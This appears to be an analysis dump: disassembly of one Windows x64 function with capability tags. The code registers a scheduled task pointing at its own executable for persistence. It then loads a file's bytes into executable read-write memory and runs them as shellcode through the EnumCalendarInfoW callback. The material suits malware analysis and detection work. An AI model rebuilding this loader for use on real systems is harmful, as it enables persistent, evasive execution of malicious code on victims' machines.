Function at 0x140001310
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x4c0]
sub rsp, 0x5c0
mov rax, qword [0x140008018]
xor rax, rsp
mov qword [rbp + 0x4b0], rax
mov r8d, 0x104
lea rdx, [rbp + 0x2a0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor r15d, r15d
mov qword [rbp + 0x128], r15
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
lea r14d, [r15 + 1]
test eax, eax
js 0x140001991
lea rax, [rbp + 0x128]
mov qword [rsp + 0x20], rax
lea r9, [0x140005490]
mov r8d, r14d
xor edx, edx
lea rcx, [0x1400054a0]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x14000198b
lea rcx, [rbp - 0x30]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movups xmm0, xmmword [rbp - 0x30]
movups xmmword [rbp + 0x290], xmm0
movsd xmm0, qword [rbp - 0x20]
movsd qword [rbp + 0x140], xmm0
lea rcx, [rbp - 0x48]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movups xmm0, xmmword [rbp - 0x48]
movups xmmword [rbp + 0x280], xmm0
movsd xmm0, qword [rbp - 0x38]
movsd qword [rbp + 0x138], xmm0
lea rcx, [rbp - 0x60]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movups xmm0, xmmword [rbp - 0x60]
movups xmmword [rsp + 0x78], xmm0
movsd xmm0, qword [rbp - 0x50]
movsd qword [rbp + 0x130], xmm0
lea rcx, [rbp - 0x78]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movups xmm0, xmmword [rbp + 0x290]
movaps xmmword [rbp + 0x60], xmm0
movsd xmm0, qword [rbp + 0x140]
movsd qword [rbp + 0x70], xmm0
movups xmm0, xmmword [rbp + 0x280]
movaps xmmword [rbp + 0x80], xmm0
movsd xmm0, qword [rbp + 0x138]
movsd qword [rbp + 0x90], xmm0
movups xmm0, xmmword [rsp + 0x78]
movaps xmmword [rbp + 0xa0], xmm0
movsd xmm0, qword [rbp + 0x130]
movsd qword [rbp + 0xb0], xmm0
movups xmm0, xmmword [rbp - 0x78]
movaps xmmword [rbp + 0x20], xmm0
movsd xmm1, qword [rbp - 0x68]
movsd qword [rbp + 0x30], xmm1
mov rcx, qword [rbp + 0x128]
mov rax, qword [rcx]
lea rdx, [rbp + 0x60]
mov qword [rsp + 0x20], rdx
lea r9, [rbp + 0x80]
lea r8, [rbp + 0xa0]
lea rdx, [rbp + 0x20]
call qword [rax + 0x50]
mov ebx, eax
lea rcx, [rbp - 0x78]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp - 0x60]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp - 0x48]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp - 0x30]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
test ebx, ebx
js 0x14000197e
mov qword [rbp + 0x138], r15
lea ecx, [r15 + 0x18]
call fcn.140003448
mov rbx, rax
mov qword [rsp + 0x58], rax
test rax, rax
je 0x14000152a
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], r15
mov dword [rbx + 0x10], r14d
lea rcx, [0x1400055a4]
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
je 0x140001b3a
jmp 0x14000152d
mov rbx, r15
mov qword [rsp + 0x78], rbx
test rbx, rbx
je 0x140001b5b
mov rcx, qword [rbp + 0x128]
mov rax, qword [rcx]
lea r8, [rbp + 0x138]
mov rdx, qword [rbx]
call qword [rax + 0x38]
mov edi, eax
mov esi, 0xffffffff
mov ecx, esi
lock xadd dword [rbx + 0x10], ecx
cmp ecx, 1
jne 0x140001595
mov rcx, qword [rbx]
test rcx, rcx
je 0x140001576
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r15
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x140001588
call fcn.140003440
mov qword [rbx + 8], r15
mov edx, 0x18
mov rcx, rbx
call fcn.140003440
test edi, edi
js 0x14000197e
mov qword [rbp + 0x120], r15
mov rcx, qword [rbp + 0x128]
mov rax, qword [rcx]
lea r8, [rbp + 0x120]
xor edx, edx
call qword [rax + 0x48]
test eax, eax
js 0x140001971
mov qword [rbp + 0x148], r15
mov rcx, qword [rbp + 0x120]
mov rax, qword [rcx]
lea rdx, [rbp + 0x148]
call qword [rax + 0x48]
mov r12d, 8
test eax, eax
js 0x140001612
mov qword [rbp + 0x160], r15
mov rcx, qword [rbp + 0x148]
mov rax, qword [rcx]
lea r8, [rbp + 0x160]
mov edx, r12d
call qword [rax + 0x50]
mov rcx, qword [rbp + 0x148]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [rbp + 0x130], r15
mov rcx, qword [rbp + 0x120]
mov rax, qword [rcx]
lea rdx, [rbp + 0x130]
call qword [rax + 0x88]
test eax, eax
js 0x140001753
mov qword [rbp + 0x158], r15
mov rcx, qword [rbp + 0x130]
mov rax, qword [rcx]
lea r8, [rbp + 0x158]
xor edx, edx
call qword [rax + 0x60]
test eax, eax
js 0x140001746
mov qword [rbp + 0x150], r15
mov rcx, qword [rbp + 0x158]
mov rax, qword [rcx]
lea r8, [rbp + 0x150]
lea rdx, str.MbLk
call qword [rax]
test eax, eax
js 0x140001739
mov ecx, 0x18
call fcn.140003448
mov rbx, rax
mov qword [rsp + 0x58], rax
test rax, rax
je 0x1400016cc
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], r15
mov dword [rbx + 0x10], r14d
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
je 0x140001b45
jmp 0x1400016cf
mov rbx, r15
mov qword [rbp + 0x280], rbx
test rbx, rbx
je 0x140001b66
mov rcx, qword [rbp + 0x150]
mov rax, qword [rcx]
mov rdx, qword [rbx]
call qword [rax + 0x58]
mov rcx, qword [rbp + 0x150]
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov eax, esi
lock xadd dword [rbx + 0x10], eax
cmp eax, 1
jne 0x140001739
mov rcx, qword [rbx]
test rcx, rcx
je 0x14000171a
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r15
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x14000172c
call fcn.140003440
mov qword [rbx + 8], r15
mov edx, 0x18
mov rcx, rbx
call fcn.140003440
mov rcx, qword [rbp + 0x158]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x130]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [rbp + 0x140], r15
mov ecx, 0x18
call fcn.140003448
mov rdi, rax
mov qword [rsp + 0x58], rax
test rax, rax
je 0x1400017a0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rax
mov qword [rdi + 8], r15
mov dword [rdi + 0x10], r14d
lea rcx, [0x1400055a8]
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rdi], rax
test rax, rax
je 0x140001b50
jmp 0x1400017a3
mov rdi, r15
mov qword [rbp + 0x290], rdi
test rdi, rdi
je 0x140001b71
mov word [rsp + 0x60], r12w
lea rcx, [0x1400055b8]
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rsp + 0x68], rax
test rax, rax
je 0x140001b2f
movups xmm0, xmmword [rsp + 0x60]
movups xmmword [rbp + 0x40], xmm0
movsd xmm0, qword [rsp + 0x70]
movsd qword [rsp + 0x50], xmm0
lea rcx, [rbp]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movups xmm0, xmmword [rbp]
movups xmmword [rbp + 0x50], xmm0
movsd xmm0, qword [rbp + 0x10]
movsd qword [rsp + 0x58], xmm0
lea rcx, [rbp - 0x18]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movups xmm0, xmmword [rbp + 0x40]
movaps xmmword [rbp + 0xc0], xmm0
movsd xmm0, qword [rsp + 0x50]
movsd qword [rbp + 0xd0], xmm0
movups xmm0, xmmword [rbp + 0x50]
movaps xmmword [rbp + 0xe0], xmm0
movsd xmm0, qword [rsp + 0x58]
movsd qword [rbp + 0xf0], xmm0
movups xmm0, xmmword [rbp - 0x18]
movaps xmmword [rbp + 0x100], xmm0
movsd xmm1, qword [rbp - 8]
movsd qword [rbp + 0x110], xmm1
mov rcx, qword [rbp + 0x138]
mov rax, qword [rcx]
lea rdx, [rbp + 0x140]
mov qword [rsp + 0x40], rdx
lea rdx, [rbp + 0xc0]
mov qword [rsp + 0x38], rdx
mov dword [rsp + 0x30], 3
lea rdx, [rbp + 0xe0]
mov qword [rsp + 0x28], rdx
lea rdx, [rbp + 0x100]
mov qword [rsp + 0x20], rdx
mov r9d, 6
mov r8, qword [rbp + 0x120]
mov rdx, qword [rdi]
call qword [rax + 0x88]
mov ebx, eax
lea rcx, [rbp - 0x18]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rsp + 0x60]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test ebx, ebx
js 0x14000190d
lea rdx, str.Task_registered_successfully.
call fcn.140002da0
mov rcx, rax
lea rdx, [0x140002f70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rbp + 0x140]
mov rax, qword [rcx]
call qword [rax + 0x10]
jmp 0x140001929
lea rdx, str.Failed_to_register_task.
call fcn.140002da0
mov rcx, rax
lea rdx, [0x140002f70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rbp + 0x120]
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
lock xadd dword [rdi + 0x10], esi
cmp esi, 1
jne 0x140001971
mov rcx, qword [rdi]
test rcx, rcx
je 0x140001952
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rdi], r15
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x140001964
call fcn.140003440
mov qword [rdi + 8], r15
mov edx, 0x18
mov rcx, rdi
call fcn.140003440
mov rcx, qword [rbp + 0x138]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x128]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
call qword [sym.imp.KERNEL32.dll_FreeConsole]
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x170]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp + 0x170]
call fcn.140002860
nop
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx + 0x180], 6
je 0x1400019f5
lea rdx, str.Failed_to_open_file
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002da0
mov rcx, rax
lea rdx, [0x140002f70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140001af0
xor edx, edx
lea r8d, [rdx + 2]
lea rcx, [rbp + 0x170]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x170]
call qword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____cdecl_std::basic_istream_char__struct_std::char_traits_char__::tellg_void____ptr64]
mov rsi, qword [rax + 8]
add rsi, qword [rax]
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x170]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
mov rcx, rsi
call fcn.140003484
mov rbx, rax
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0x170]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x180]
call fcn.140002c80
test rax, rax
jne 0x140001a82
mov rcx, qword [rbp + 0x170]
movsxd r8, dword [rcx + 4]
lea rcx, [rbp + 0x170]
add rcx, r8
xor r8d, r8d
lea edx, [rax + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rcx, rsi
call fcn.140003484
mov rdi, rax
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rbx
call fcn.140003440
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov r8, rsi
mov rdx, rdi
mov rcx, rax
call sub.VCRUNTIME140.dll_memmove
mov edx, 0x400
mov r9d, 0x15
mov r8d, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
mov rcx, rdi
call fcn.140003440
mov r14d, r15d
lea rcx, [rbp + 0x170]
call fcn.140001b80
mov eax, r14d
mov rcx, qword [rbp + 0x4b0]
xor rcx, rsp
call fcn.140003420
lea r11, [rsp + 0x5c0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
mov ecx, 0x8007000e
call fcn.140003230
nop
mov ecx, 0x8007000e
call fcn.140003230
nop
mov ecx, 0x8007000e
call fcn.140003230
nop
mov ecx, 0x8007000e
call fcn.140003230
nop
mov ecx, 0x8007000e
call fcn.140003230
int3
mov ecx, 0x8007000e
call fcn.140003230
int3
mov ecx, 0x8007000e
call fcn.140003230
int3